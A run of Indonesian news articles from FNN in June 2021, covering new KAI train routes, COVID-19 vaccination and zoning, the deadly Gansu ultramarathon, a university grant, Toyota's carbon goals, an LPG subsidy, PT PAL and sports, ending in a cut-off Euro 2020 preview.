Jakarta, FNN - PT Kereta Api Indonesia (Persero) akan meluncurkan dua Kereta Api baru yaitu KA Baturraden Ekspres relasi Bandung - Purwokerto PP via Cikampek pada 25 Juni 2021 dan KA Nusa Tembini relasi Cilacap - Jogjakarta PP pada 2 Juli 2021. “Peluncuran 2 KA baru ini kami tujukan untuk meningkatkan pelayanan kepada pelanggan sehingga semakin banyak alternatif pilihan bepergian menggunakan kereta api,” kata VP Public Relations KAI Joni Martinus dalam siaran pers, Minggu. Joni mengatakan, pada tahap awal, kedua kereta api ini akan dioperasikan pada setiap hari Jumat dan Minggu dengan rincian KA Baturraden Ekspres beroperasi pada 25 & 27 Juni serta 2 & 4 Juli 2021 dan KA Nusa Tembini beroperasi pada 2, 4, 9, & 11 Juli 2021. Ia mengatakan, pada masa pandemi COVID-19 ini, KAI terus berinovasi dengan menghadirkan 2 kereta api relasi baru agar dapat membantu konektivitas dan mobilitas masyarakat melalui transportasi kereta api. Kemudian, penamaan KA Baturraden Ekspres terinspirasi dari nama kawasan di Kabupaten Banyumas yang sarat akan potensi wisata. Sedangkan, penamaan KA Nusa Tembini terinspirasi dari nama legenda kerajaan yang ada di wilayah Cilacap. “Dengan penamaan tersebut, diharapkan hadirnya kedua KA ini juga dapat meningkatkan pariwisata di wilayah-wilayah yang dilalui,” ujar Joni. Ia menjelaskan, tersedia 2 kelas pada KA Baturraden Ekspres yaitu Eksekutif dengan tarif mulai dari Rp160 ribu dan Bisnis dengan tarif mulai dari Rp130 ribu. Adapun untuk KA Nusa Tembini juga memiliki 2 kelas yaitu Eksekutif dengan tarif mulai dari Rp110 ribu dan Ekonomi dengan tarif mulai dari Rp90 ribu. KAI juga menawarkan tarif khusus untuk rute tertentu pada kedua Kereta Api tersebut. Untuk KA Baturraden Ekspres tersedia tarif khusus pada relasi Purwokerto - Cirebon PP (Eksekutif: Rp65 ribu & Bisnis: Rp45 ribu), Cirebon - Cikampek PP (Eksekutif: Rp50 ribu & Bisnis: Rp40 ribu), Bandung - Purwakarta PP (Eksekutif: Rp55 ribu & Bisnis: Rp45 ribu), dan Bandung - Cikampek PP (Eksekutif: Rp65 ribu & Bisnis: Rp55 ribu). Sedangkan pada KA Nusa Tembini, tarif khusus berlaku pada relasi Kroya - Cilacap PP (Eksekutif: Rp30 ribu & Ekonomi: Rp20 ribu), Cilacap - Yogyakarta PP (Eksekutif: Rp80 ribu & Ekonomi: Rp50 ribu), dan Kutoarjo - Yogyakarta PP (Eksekutif: Rp45 ribu & Ekonomi: Rp25 ribu). “Tarif khusus tersebut dapat dibeli mulai 2 jam sebelum jadwal keberangkatan kereta api di KAI Access, loket, dan seluruh channel eksternal selama masih tersedia tempat duduk,” ungkap Joni. Rangkaian KA Baturraden Ekspres terdiri dari 2 Kereta Eksekutif dan 5 Kereta Bisnis dengan total 420 tempat duduk. Adapun rangkaian KA Nusa Tembini terdiri dari 4 kereta Eksekutif dan 3 kereta Ekonomi dengan total 392 tempat duduk. “Namun kapasitas Kereta Api selama masa pandemi adalah maksimal 70 persen dari total tempat duduk sesuai SE Kemenhub No 14 tahun 2020. Sehingga kapasitas di masa pandemi KA Baturraden adalah 294 tempat duduk dan KA Nusa Tembini 275 tempat duduk,” katanya. Joni menambahkan, setiap pelanggan yang akan menggunakan KA Baturraden Ekspres maupun KA Nusa Tembini diharuskan menunjukkan surat bebas COVID-19 yang masih berlaku. Untuk membantu melengkapi syarat tersebut, KAI menyediakan layanan Rapid Test Antigen seharga Rp85 ribu di 44 stasiun dan pemeriksaan GeNose C19 seharga Rp30 ribu di 63 stasiun. Pada masa pandemi COVID-19, KAI tetap berkomitmen untuk menerapkan protokol kesehatan sesuai yang telah ditetapkan pemerintah. Tujuannya agar setiap pelanggan tetap merasa aman dan nyaman saat berada di stasiun maupun selama dalam perjalanan menggunakan kereta api. “KAI tetap berkomitmen untuk mengoperasikan kereta api sesuai protokol kesehatan yang ketat untuk menjadikan kereta api sebagai moda transportasi yang sehat, selamat, nyaman dan aman sampai di stasiun tujuan,” pungkas Joni. (mth)

Cegah Sebaran COVID-19, PT DLU Tuntaskan Vaksin Kru Kapal dan Karyawan

Surabaya, FNN - Penasihat Utama PT DLU Holding, Bambang Haryo Soekartono (dua kiri) bersama direksi mengumumkan telah menuntaskan vaksin kepada kru kapal dan karyawan di Surabaya, Selasa (8/6/2021). (ANTARA/Fiqih Arfani) Syukurlah, seluruh karyawan tanpa terkecuali, totalnya 2.700 orang, sudah dua kali disuntik vaksin Surabaya (ANTARA) - Perusahaan swasta pelayaran, PT Dharma Lautan Utama (DLU) mengumumkan telah menuntaskan vaksinasi untuk seluruh kru kapal dan karyawan sebagai wujud upaya mencegah penyebaran COVID-19. "Syukurlah, seluruh karyawan tanpa terkecuali, totalnya 2.700 orang, sudah dua kali disuntik vaksin," ujar Direktur Utama PT DLU, Erwin H Poedjono di Surabaya, Selasa. Menurut dia, kesehatan merupakan aset terbesar dari sumber daya manusia, sehingga berperan penting bagi perusahaan yang manfaatnya, juga untuk orang lain. Para kru kapal, kata Erwin, berada di garda terdepan yang berinteraksi maupun berkomunikasi dengan penumpang, sehingga harus benar-benar memiliki kesehatan yang baik. "Meski sudah ada tes COVID-19 saat akan masuk kapal, kami tetap tak mengendurkan protokol kesehatan. Selain masker, jaga jarak, hindari kerumunan hingga penyemprotan disinfektan, vaksinasi menjadi penting dilakukan," ucapnya. Sementara itu, pemilik sekaligus Penasihat Utama PT DLU Holding, Bambang Haryo Soekartono meminta penumpang tidak khawatir selama di kapal, karena protokol kesehatan ketat tetap diterapkan. "Kapasitas kapal 50 persen, lalu satu tempat duduk dikosongi dan karyawan atau kru kapal divaksin. Semoga penumpang bisa lebih tenang menggunakan jasa pelayanan kami," kata dia. "Kami semua divaksin sinovac dan sudah dua dosis. Khusus untuk transportasi bidang pelayaran, kami mungkin yang pertama sudah vaksin seluruh karyawannya," tutur mantan anggota DPR RI tersebut. BHS, sapaan akrabnya, menegaskan ingin mengikuti program vaksinasi dari pemerintah, sebab sektor transportasi publik ini sangat penting, karena terdapat usaha layanan jasa transportasi, logistik serta penumpang. Pihaknya akan memanfaatkan beberapa media, seperti televisi di kapal-kapal maupun pelabuhan untuk mengumumkan bahwa kru kapal PT DLU telah menjalani program vaksinasi. (mth)

Pemerintah Adakan Program Vaksin Gratis bagi Pelaut

Jakarta, FNN - Pemerintah Indonesia melalui Kementerian Perhubungan (Kemenhub) mengadakan program vaksinasi Covid-19 secara gratis kepada para petugas pelayanan transportasi publik termasuk para pelaut, yang bertempat di Pelabuhan Tanjung Priok, Jakarta pada 10 - 18 Juni 2021. “Kami sangat bersyukur para pelaut, para insan atau masyarakat maritim di lingkungan pelabuhan Tanjung Priok bisa mendapatkan kesempatan untuk melaksanakan vaksinasi. Kami mengucapkan terima kasih kepada Presiden Joko Widodo dan Kementerian Kesehatan yang telah memberikan perhatian yang luar biasa bagi para pekerja transportasi termasuk para pelaut,” kata Kepala Kantor Otoritas Pelabuhan Utama Tanjung Priok, Wisnu Handoko dalam pernyataan pers, di Jakarta, Minggu. Wisnu mengatakan vaksinasi massal yang dilakukan di simpul-simpul transportasi khususnya di pelabuhan Tanjung Priok merupakan bukti perhatian pemerintah kepada para pelaut dan juga masyarakat maritim. Mengusung tagline "Indonesian Heroes (Healthy and Ready Onboard Seafarers), kata Wisnu, kegiatan vaksinasi tersebut menargetkan 10.000 orang dan maksimal untuk 1.000 orang setiap harinya dimulai pada pukul 08.00 WIB sampai 15.00 WIB. Hal ini untuk mengantisipasi terjadinya kerumunan dan tetap mengedepankan protokol kesehatan. “Pada kegiatan vaksinasi ini, kami menargetkan 10.000 orang yang dijadwalkan mulai dari tanggal 10 sampai dengan 18 Juni mendatang. Apabila pada tanggal tersebut belum sesuai dengan target, maka kami akan perpanjang waktu agar mencapai target,” ujar Wisnu. Dia menegaskan pentingnya vaksinasi dalam mendukung kegiatan pelayanan kepelabuhanan dan transportasi laut baik logistik maupun penumpang untuk memberikan perlindungan dari risiko penyebaran Covid-19. Kegiatan vaksinasi ini diprioritaskan kepada para pelaut, Tenaga Kerja Bongkar Muat (TKBM), supir truk, penumpang kapal, pekerja pelabuhan, serta masyarakat sekitar pelabuhan Tanjung Priok. “Bagi para pimpinan perusahaan, operator terminal, trucking dan pelayaran supaya memastikan bahwa karyawannya telah mendaftar untuk mengikuti vaksinasi massal covid 19 ini,” tegasnya. Vaksinasi ini penting untuk dilakukan agar kepercayaan diri para pelayan publik transportasi semakin meningkat dalam melaksanakan tugasnya. Sehingga kegiatan pelayanan transportasi baik penumpang maupun logistik tetap dapat berjalan dengan baik dan para insan transportasi bisa bertahan dari pandemi ini. Karena para pelaku transportasi khususnya di pelabuhan Tanjung Priok memiliki interaksi dan mobilitas yang sangat tinggi dengan masyarakat. Selama menunggu antrian vaksin, tetap melaksanakan protokol kesehatan 5M, dengan menjaga jarak saat duduk menunggu antrian, memakai masker, mencuci tangan, menjauhi kerumunan dan membatasi mobilitas. Lokasi dan ruang tunggu yang disiapkan dengan mempertimbangkan akan hadir kurang lebih 1.500 orang per harinya dan selalu dijagai oleh petugas pengamanan bersama. “Kami mengapresiasi dan mengucapkan terima kasih kepada pihak-pihak baik instansi pemerintah maupun Stakeholders yang telah berpartisipasi dalam kegiatan vaksinasi ini,” tutupnya. (mth)

Dua Puluh Tujuh Pejabat Dihukum dan Satu Bunuh Diri Pascamaraton Maut di Gansu

Beijing, FNN - Sebanyak 27 orang, sebagian di antaranya adalah para pejabat pemerintahan yang dikenai hukuman disiplin dan pidana atas kelalaiannya dalam menggelar lomba ultramaraton di Provinsi Gansu, China, yang mengakibatkan 21 peserta tewas dan delapan lainnya cedera. "Ultramaraton di Kota Baiyin merupakan insiden keselamatan akibat cuaca di wilayah tersebut yang berubah secara tiba-tiba. Penyelenggaraan yang tidak memenuhi standar dan tidak profesional telah menyebabkan insiden itu," demikian laporan investigasi yang beredar di sejumlah media di China, Minggu. Pihak penyelenggara dianggap patut dipersalahkan karena mengabaikan peringatan cuaca ekstrem dari otoritas setempat menjelang pelaksanaan lomba. Perlengkapan seperti jaket pelindung udara dingin hanya bersifat rekomendasi, bukan langkah yang diwajibkan. "Rencana darurat dan upaya yang menjamin keselamatan pada penyelenggaraan lomba tersebut tidak dirumuskan sesuai standar yang benar dan petugas kegawatdaruratan sangat tidak siap," menurut laporan hasil investigasi. Seperti diberitakan ANTARA sebelumnya, sebanyak 21 peserta lomba ultramaraton --sejauh 100 kilometer di objek wisata perbukitan Sungai Kuning di Kota Baiyin dan Kabupaten Jingtai di wilayah timur Provinsi Gansu pada 22 Mei 2021-- tewas dan delapan lainnya cedera saat cuaca berubah ekstrem. Di antara korban terdapat pelari jarak jauh top China, Liang Jing dan Huang Guanjun. Sekretaris Partai Komunis China (CPC) Kota Baiyin Su Jun dan Wali Kota Baiyin Zhang Xuchen dikenai sanksi disiplin partai. Zhang Wenling dipecat dari jabatannya sebagai hakim di Kabupaten Jingtai, sedangkan Sekretaris CPC setempat Li Zuobi tewas bunuh diri setelah peristiwa tersebut, sebagaimana laporan laman berita GICExpat. Zhang Xiaoyan selaku pemilik perusahaan penyelenggara maraton ditahan dan dijerat dengan pasal pidana. Lebih dari 60 lomba maraton di seluruh China ditangguhkan penyelenggaraannya setelah tragedi maut di wilayah barat daratan Tiongkok yang berbukit dan bergurun itu. (mth)

UMM Terima Hibah Program Kompetisi Kampus Merdeka Rp8,1 Miliar

Malang, FNN - Universitas Muhammadiyah Malang (UMM) mendapatkan dana hibah Program Kompetisi Kampus Merdeka (PKKM) Rp2021 senilai Rp8,1 miliar dan menempatkan kampus itu berada di posisi 10 besar PTN-PTS penerima dana tersebut. Ketua Tim Gugus Tugas PKKM UMM Prof Dr Sujono di Malang, Jawa Timur, Ahad, menuturkan perolehan dana hibah sebesar Rp8,1 miliar itu juga menjadikan UMM menempati posisi teratas di antara perguruan tinggi swasta (PTS) penerima dana PKKM. “Kami juga berada di posisi pertama di antara 28 perguruan tinggi Muhammadiyah dan Aisyiyah yang memperoleh dana hibah ini,” kata Sujono. UMM menempati posisi 10 besar PTN-PTS penerima bantuan pemerintah PKKM 2021 bersama Universitas Gadjah Mada, Institut Teknologi Sepuluh Nopember, Universitas Brawiajaya, Universitas Indonesia, Institut Pertanian Bogor, Universitas Jember, Institut Teknologi Bandung, Universitas Negeri Malang, dan Universitas Tadulako. Sujono menjelaskan UMM yang digolongkan di Liga I itu berkompetisi dengan PTN-PTS dan meloloskan empat program studi (Prodi)-nya, yakni Teknik Mesin, Teknologi Pangan, Peternakan, dan Akuakultur. Sebelum diajukan, keempat prodi itu sudah melalui penilaian dari universitas, sehingga meningkatkan persentase lolos di tahap PKKM. “Sebenarnya ada lima prodi dan Institutional Support System yang sudah kami ajukan, namun hanya empat yang lolos dan didanai,” paparnya. Menurut Sujono, program ini memiliki tujuan yang terangkum dalam delapan indikator kinerja utama (IKU). Mulai dari kesiapan kerja lulusan, mahasiswa dan dosen di luar kampus, kualifikasi dan penerapan riset dosen. Selain itu, ada hal-hal yang terkait dengan kemitraan, pembelajaran dalam kelas hingga akreditasi internasional. Dosen Fakultas Peternakan yang juga Koordinator Asisten Rektor UMM itu berharap raihan ini bisa meningkatkan capaian akademik serta kualitas lulusan dosen dan pembelajaran yang ada di kampus tersebut. Ia juga ingin agar hal ini bisa dikembangkan di Prodi lain sebagai bentuk dukungan akan Merdeka Belajar Kampus Merdeka (MBKM) yang digalakkan oleh pemerintah. Senada dengan Sujono, Wakil Rektor I UMM Prof Dr Syamsul Arifin menerangkan delapan IKU yang tercantum pada dasarnya menekankan pada tiga hal. Ketiganya adalah peningkatan kualitas lulusan, dosen dan pengajar, serta Prodi. “Tujuannya, melahirkan lulusan yang bisa mendapatkan pekerjaan dalam masa tunggu relatif tidak lama. Selain itu, mendorong lulusan mampu melanjutkan studi ke jenjang yang lebih tinggi. Hal ini bisa digapai melalui dosen yang berkualitas dan dibarengi dengan akreditasi yang bagus,” tegasnya. Syamsul mengaku bersyukur UMM bisa mendapatkan dana hibah ini, mengingat ada ribuan perguruan tinggi yang juga berusaha meraihnya. Ia mengapresiasi kinerja dari tim gugus tugas di tingkat universitas dan prodi yang sudah bekerja siang malam demi melancarkan proses program PKKM. Syamsul menegaskan UMM akan selalu trasnparan dan bertanggung jawab dalam menggelontorkan dana hibah terkait. Ia ingin hasil ini dapat menjadi momentum bagi UMM untuk melaksanakan aktivitas yang berfokus pada capaian kedelapan poin IKU. Tidak hanya bagi empat prodi yang lolos, tapi juga bisa ditularkan ke prodi-prodi lain di UMM. "IKU PKKM ini menjadi salah satu data yang ada di sistem PINDAI DIKTI. Data tersebut nantinya akan menjadi acuan pemerintah dalam menetapkan peringkat perguruan tinggi," ucapnya. (mth)

Satu Kabupaten di Sumbar Masuk Zona Merah COVID-19

Padang, FNN - Kabupaten Padang Pariaman, Sumatera Barat, masuk zona merah COVID-19 pada pekan ke-67 sejak pandemi terjadi, berdasarkan 15 indikator penghitungan yang dilakukan tim satgas setempat. "Zonasi 19 kabupaten/kota di Sumbar selalu kita perbarui setiap pekan. Pada pekan ini Padang Pariaman masuk zona merah," kata Juru Bicara Satgas COVID-19 Sumbar, Jasman di Padang, Ahad. Ia menyebut kabupaten itu satu-satunya yang masuk zona merah COVID-19 di Sumbar sementara 16 daerah lain masuk zona oranye dan dua masuk zona kuning. Dua daerah zona kuning itu masing-masing Kota Pariaman yang bertetangga dengan Kabupaten Pariaman dan Kabupaten Mentawai masuk zona kuning. Jasman meminta satgas COVID-19 setempat segera mengambil langkah untuk mengantisipasi penyebaran virus di daerah masing-masing. Salah satunya adalah percepatan pembentukan nagari/desa tageh yang telah menjadi komitmen bersama. Nagari tageh adalah nagari atau desa yang mengoptimalkan segala upaya dan unsur yang ada di dalamnya untuk pencegahan dan penanganan COVID-19. Rumah isolasi berbasis nagari atau desa harus digiatkan sehingga isolasi mandiri di rumah sendiri yang dinilai tidak efektif bisa dikurangi dan berpindah ke rumah isolasi nagari/desa yang diawasi dan dikelola oleh nagari/desa. Jasman mengatakan sebagian daerah sudah mulai mendirikan rumah isolasi tersebut bahkan ada inovasi membangun rumah isolasi berbasis kaum. "Pemprov Sumbar mengapresiasi semua usaha yang telah dilakukan dalam upaya pengendalian COVID-19 ini," ujarnya. Selain itu untuk mempercepat pengendalian upaya tracking (pelacakan), tracing (penelusuran) hingga testing (pengujian) harus dimasifkan. Ia menyebut berdasarkan data dari Dinas Kesehatan Sumbar penyebaran COVID-19 di Sumbar masih dalam tren meningkat dengan Positivity Rate (PR) perpekan 9,86 persen (di atas standard WHO 5 persen). "PR harian sepekan terakhir bahkan pernah mencapai 34 persen. Ini sebenarnya adalah alarm yang harus disikapi bersama," ujarnya. (mth)

Toyota Ingin Buat Pabriknya Netral Karbon pada 2035

Jakarta, FNN - Toyota Motor Corp akan bertujuan untuk membuat semua pabrik globalnya netral karbon (carbon neutral) pada tahun 2035, seorang eksekutif senior mengatakan bahwa pihaknya memajukan tujuan tersebut selama 15 tahun lebih cepat dari target sebelumnya yaitu di tahun 2050. Chief Production Officer Toyota, Masamichi Okada, mengatakan produsen mobil akan fokus pada awalnya untuk memperkenalkan teknologi baru untuk proses seperti pengecatan, pelapisan, dan pengecoran. "Dengan cara ini, proses yang menghasilkan CO2 tinggi akan difokuskan untuk mengurangi sebanyak mungkin, atau bahkan menghilangkan emisi CO2," kata Okada dikutip dari Reuters, Minggu. "Dengan mengidentifikasi area-area ini, kami akan memfokuskan sumber daya kami dan kami yakin itu akan berkontribusi untuk mempersingkat waktu hingga kami dapat mencapai netralitas karbon," ujarnya menambahkan. Lebih lanjut, pembuat mobil juga akan mempertimbangkan untuk memiliki sumber daya di tempat dan di luar lokasi yang dapat diandalkan untuk energi terbarukan. Dengan meningkatnya tekanan pada pembuat mobil global untuk memangkas emisi, pembuat mobil mewah Jerman BMW mengatakan pabriknya di China berencana untuk mencapai netralitas emisi karbon pada akhir tahun ini. Sementara itu, Ford juga bertujuan untuk memberi daya pada semua pabriknya dengan energi terbarukan yang bersumber secara lokal pada tahun 2035. Toyota telah mengatakan dalam beberapa tahun terakhir bahwa kendaraan listrik (EV) akan memainkan peran yang lebih besar dalam mengurangi emisi tetapi solusi lain harus digunakan, seperti kendaraan hidrogen hibrida atau penjualan lambat yang sukses. Untuk mencapai netralitas karbon, Toyota bertujuan untuk memiliki berbagai pilihan, kata Okada, menambahkan bahwa pembuat mobil ingin bekerja dengan beberapa jenis model untuk EV dan merakitnya secara bersamaan. "Kami akan memanfaatkan pengalaman dan pengetahuan kami yang telah kami peroleh selama bertahun-tahun," kata dia. (mth)

"Saga", Karya Baru dari Gerald Situmorang

Jakarta, FNN - Dua tahun berselang dari rilisnya album “Meta” hasil kolaborasi bersama Sri Hanuraga, serta album “Pikiran dan Perjalanan” yang digarap bersama Barasuara, Gerald Situmorang akhirnya kembali memberikan karya EP bertajuk “Saga”. EP itu berisikan tiga lagu, lagu pertama diluncurkan pada Jumat (11/6). Perilisan EP “Saga” akan dilakukan selama tiga pekan, di mana setiap pekannya satu single diperkenalkan kepada publik. Lagu berikutnya akan dihadirkan pada 17 Juni dan 25 Juni. “Tapak Tilas” adalah nomor pertama dari EP “Saga” ini. Lagu pembuka ini adalah sebuah gambaran personal dari GeSit, panggilan akrab Gerald Situmorang, sepeninggal neneknya. Dikutip dari siaran resmi, Minggu, Gerald mengisahkan dirinya kehilangan sang nenek tahun ini. Kisah-kisah perjuangan kakek dan nenek yang berjuang sejak masa perang hingga bisa menghidupi keluarganya sering ia dengar saat kumpul keluarga. Kakeknya adalah Brigadir Jenderal TNI AD yang meninggal di usia 42 tahun pada 1960. Dia meninggalkan istri, nenek Gerald, yang kala itu masih berusia 27 tahun dan harus menghidupi lima anak seorang diri. "Bahkan ibu saya juga masih di kandungan pada saat itu, jadi tidak sempat berjumpa dengan ayahnya," ujar dia. Dalam proses produksinya, pembuatan lagu “Tapak Tilas” ini dibantu oleh Marco Steffiano, rekan satu band di Barasuara. Sri Hanuraga membantu untuk bagian piano/synth, Rishanda Singgih untuk bass, Yandi Andaputra di drum. Terdapat juga musisi tamu spesial dari India yaitu Faiman Khan yang memainkan alat musik santoor di single berikutnya. Audio engineer yang terlibat adalah Stevano selaku mix engineer dan mastering engineer legendaris Ted Jensen. Dari sisi artwork, Gerald berkolaborasi dari berbagai bidang di mana gambar dikerjakan oleh Rukmunal Hakim, foto oleh Jatidiri Ono serta tata gaya oleh Melodya Lukita. (mth)

Anggota DPR Apresiasi Penambahan Kuota Volume Subsidi Elpiji 3 kg

Jakarta, FNN - Anggota Komisi VII DPR Mulyanto mengapresiasi penambahan besaran kuota volume subsidi elpiji tiga kilogram dari 7,4-7,5 juta metrik ton menjadi 7,5-8 juta metrik ton dalam asumsi makro RAPBN 2022. “Kami menyambut baik hasil rapat tersebut karena salah satu usulan kami agar pemerintah menaikkan anggaran subsidi gas melon (elpiji tiga kilogram) disetujui. Angka yang ditetapkan ini persis sesuai dengan usulan kami. Ini tentunya dimungkinkan karena dukungan dari fraksi-fraksi lain," kata Mulyanto dalam siaran pers di Jakarta, Minggu. Menurut dia, hasil penambahan besaran volume ini merupakan salah satu bentuk perjuangan bagi masyarakat yang masih kesulitan ekonomi karena pandemi COVID-19 yang belum selesai. Mulyanto mengemukakan bahwa berdasarkan pengamatan lapangan, masih banyak warga miskin yang belum menerima subsidi elpiji tiga kilogram ini. “Sebenarnya kebutuhan masyarakat lebih dari itu kalau kuota ini dibuka. Terbukti dengan munculnya isu kelangkaan dan melonjaknya harga gas 3 kg di lapangan. Karenanya Pemerintah cq. Kementerian ESDM harus meningkatkan sistem pengawasan barang bersubsidi (barang dalam pengawasan) ini. Kalau memang serius ingin menata pengelolaan subsidi ini," ujarnya. Selain itu Mulyanto menambahkan kuota ini perlu ditingkatkan agar tidak ada lagi kelangkaan elpiji 3 kilogram di tengah masyarakat. “Kami sangat mendukung pemberian subsidi yang tepat sasaran bagi mereka yang tidak mampu, karena berbagai anggaran subsidi yang telah digulirkan masih dibutuhkan masyarakat. Apalagi kondisi pandemi COVID-19 masih belum berakhir dan ekonomi masyarakat masih belum pulih,” ujarnya. Sebelumnya, Kementerian ESDM akan bekerja sama dengan seluruh pemangku kepentingan terkait melakukan pengawasan dan pengendalian penyaluran elpiji tiga kilogram sehingga tidak kelebihan kuota. Direktur Jenderal Minyak dan Gas Bumi Kementerian ESDM Tutuka Ariadji menyatakan sebanyak 12 pemerintah daerah di tingkat provinsi dan 154 pemerintah daerah di tingkat kabupaten maupun kota telah membuat kebijakan penggunaan elpiji nonsubsidi bagi ASN dan nonusaha mikro. Sementara itu terkait perkembangan harga jual eceran berbanding harga keekonomian elpiji tiga kilogram, rata-rata subsidi harga tahun 2021 berdasarkan perhitungan nilai subsidi hasil audit BPK dibagi dengan volume hasil audit BPK adalah sebesar Rp8.781 per kilogram. Harga tersebut mengalami kenaikan sebesar 64,3 persen dari tahun sebelumnya. Sedangkan harga keekonomian yang sudah termasuk margin agen ditambah PPN adalah Rp12.000 per kilogram di mana harga jual eceran adalah Rp4.250 per kilogram. Sepanjang 2021, pagu subsidi untuk elpiji tiga kilogram adalah senilai Rp36,56 triliun. Pada tahun lalu, subsidi elpiji tiga kilogram tercatat mencapai Rp40,25 triliun. (mth)

Anggota DPR Dorong Kemandirian dan Transformasi PT PAL

Jakarta, FNN - Anggota Komisi VI DPR RI Mohammad Toha mendorong kemandirian dan transformasi BUMN PT PAL Indonesia (Persero) secara menyeluruh dalam rangka mewujudkan kemandirian produksi alat utama sistem senjata atau alutsista laut. Toha mengatakan bahwa upaya tersebut dapat ditempuh melalui kemandirian, artinya perusahaan galangan kapal terbesar tersebut tidak harus lagi mengimpor suku cadangnya. "Kemandirian PT PAL itu artinya PT PAL tidak harus mengimpor suku cadang yang lebih besar dari 50 persen, meskipun sekarang katanya 70 persen. Komponen itu dalam hitungan suku cadangnya sudah dibuat di dalam negeri 30 persen, di luar negeri. Tapi yang 30 persen itu nilainya 70 persen lebih daripada yang 30 persen yang di dalam negeri tadi,” kata Toha dalam keterangan tertulis yang diterima di Jakarta, Minggu. Komisi VI DPR RI mendorong dengan adanya Penyertaan Modal Negara (PMN) senilai Rp1,28 triliun yang diusulkan tahun 2021. Berdasarkan anggaran yang sudah dialokasikan tersebut, Toha mendorong PT PAL untuk bisa memproduksi sendiri komponen-komponen untuk pembuatan kapal selam. Sesuai paparan, alokasi PMN PT PAL nantinya akan terbagi menjadi tiga kategori, yakni Rp10 miliar untuk SDM, Rp1 triliun untuk fasilitas, dan sisanya digunakan untuk peralatan Rp265,83 miliar. "Tentunya selain pelatihan, alih teknologi juga hal-hal yang lain yang bisa mendukung untuk bisa mandiri. Meskipun diperlukan waktu, atau proses yang mungkin 5 tahunan ya itu yang pertama jadi mendorong PT PAL agar bisa mandiri,” ujar legislator tersebut. Hingga saat ini, Indonesia sudah memiliki pelaku industri strategis seperti PT PAL Indonesia, PT Dirgantara Indonesia, dan PT Pindad. Perusahaan pelat merah tersebut, umumnya melakukan pembelian produk sambil bekerja sama dengan negara produsen dinilai menjadi cara efektif membangun kemandirian nasional. Indonesia dapat terlibat dalam proses produksi atau perakitan alutsista di negara asal, sebelum kemudian perakitan dituntaskan di tanah air. “Negara kita adalah negara maritim, kita minta pemerintah proporsi lebih untuk pembangunan alutsista laut, lebih banyak daripada yang ada di udara maupun yang ada di darat. Kemudian, kita mendukung PT PAL untuk mereorganisasi secara menyeluruh agar kinerja mereka semakin meningkat termasuk lingkungan kerja juga semakin tertata rapih, dari struktur organisasi juga termasuk lingkungan kerjanya,” kata Toha. Sementara itu Direktur Utama PT PAL Kaharuddin Djenod Daeng Manyambeang menyampaikan bahwa PMN untuk kapal selam yang didapatkan perusahaannya, terakhir pada tahun 2015 sebesar Rp1,5 triliun. Suntikan modal negara itu telah digunakan untuk membangun fasilitas bengkel kapal selam yang dikunjungi oleh Komisi VI DPR RI. Sementara pada tahun ini, PT PAL mendapat PMN sebesar Rp1,28 triliun. (mth)

Sean Gelaell dkk. Awali Balap Ketahanan Portugal dari Posisi Terdepan

Jakarta, FNN - Trio pebalap Sean Gelael, Stoffel Vandorne dan Tom Blomqvist akan memulai balapan FIA World Endurance Championship kelas LMP2 dari barisan terdepan dan hal tersebut bakal memperbesar peluang mereka untuk meraih podium utama pada balapan di Sirkuit Portimao, Portugal, Minggu. Keberhasilan meraih posisi terdepan atau pole position, berdasarkan keterangan resmi dari tim, merupakan pencapaian pertama mereka untuk tim JOTA. Pada sesi kualifikasi Sabtu, Tom dipercaya untuk menggeber mobil nomor 28, mewakili Sean dan Stoffel. Pebalap Inggris berdarah Swedia tersebut dipilih lantaran sejak Free Practice 1 hingga 3 cukup konsisten menjadi yang tercepat di antara tiga pebalap. Tom pun menegaskan kecepatannya itu di babak kualifikasi. "Tom sudah membuktikan bahwa mobil kami cepat. Saya dan Stoffel yang memang diprogramkan untuk lebih banyak fokus di balapan berharap kecepatan itu berlanjut di lomba yang lama dan pastinya melelahkan nanti. Dan, semoga tidak ada insiden apa pun yang menimpa kami," kata Sean Gelael. Kubu JOTA memang sangat tangguh sejak FP1 putaran kedua FIA World Endurance Championship (WEC) di Portimao, Portugal karena selain mobil #28 yang dikemudikan Tom, mobil mereka yang bernomor 38 juga tidak kalah cepat. Pebalap JOTA #38 yang juga juara Formula E, Antonio Felix da Costa berada di posisi dua LMP2 di belakang Tom. Sapu bersih posisi 1-2 tentu jadi modal besar JOTA untuk menyaingi tim kuat, United Autosports USA, dalam balapan 8 jam di Portimao di kelas LMP2. Pebalap Prancis Mathieu Vaxiviere, yang membela tim Alpine Elf Matmut di kelas LMH, menjadi yang tercepat secara keseluruhan. Tom ada di posisi empat, namun pertama buat kelas LMP2. Sean Gelael, Stoffel Vandoorne, dan Tom Blomqvist yang didukung penuh Jagonya Ayam KFC Indonesia, Pertamina dan BNI berharap balapan mereka akan mulus. (mth)

Preview Euro 2020: Inggris vs Kroasia

kesempatan membalas ulah Kroasia dalam turnamen besar sebelumnya ketika Inggris tersingkir dalam semifinal Piala Dunia 2018 setelah balik dihantam 2-1 oleh negara pecahan bekas Yugoslavia itu pada babak perpanjangan waktu. Inggris sebenarnya sudah membalas kekalahan itu, juga dengan skor 2-1, tapi bukan dalam turnamen besar, Nations League 2018-2019, empat bulan setelah nestapa Piala Dunia 2018 itu. Inggris hanya perlu pembalasan itu dikukuhkan di Stadion Wembley nanti malam untuk menunjukkan mereka superior terhadap Kroasia. Three Lions bisa membanggakan rapor selama memainkan turnamen besar di Wembley sebelumnya yang tak pernah kalah. Dan kali ini Wembley lebih istimewa lagi karena jika segalanya mulus Inggris bisa memainkan enam pertandingan di sini, termasuk final. Sempat diliputi kekhawatiran mengenai cedera Harry Maguire, Inggris mendapatkan suntikan semangat setelah kapten Manchester United itu sudah bergabung lagi berlatih dengan tim. Kabar ini menyemangati barisan belakang Inggris sekalipun pelatih Gareth Southgate tak kekurangan opsi dalam posisi ini, termasuk menduetkan bek tengah John Stones dengan bek tengah Aston Villa Tyrone Mings, atau memasang tiga bek tengah yang diapit dua bek sayap. Southgate juga mungkin tak bisa memasukkan Jordan Henderson di tengah karena cedera, tapi dia masih memiliki Declan Rice untuk menambal ketidakhadiran Henderson, baik itu untuk dibiarkan beroperasi sendirian atau disandingkan dengan Kalvin Philips. Lini lainnya seperti aman-aman saja. Kapten Harry Kane tetap memimpin unit serangan, dan kemungkinan bermitra dengan Marcus Rashford dan Raheem Sterling. Yang paling menarik adalah nasib tiga gelandang kreatif mereka; Phil Foden, Mason Mount dan Jack Grealish, apakah dimainkan bersama atau dicicil diturunkan. “Entah kami bermain bersama pemain sayap dalam (formasi) 4-3-3, para nomor 10 dalam 3-4-3, dengan 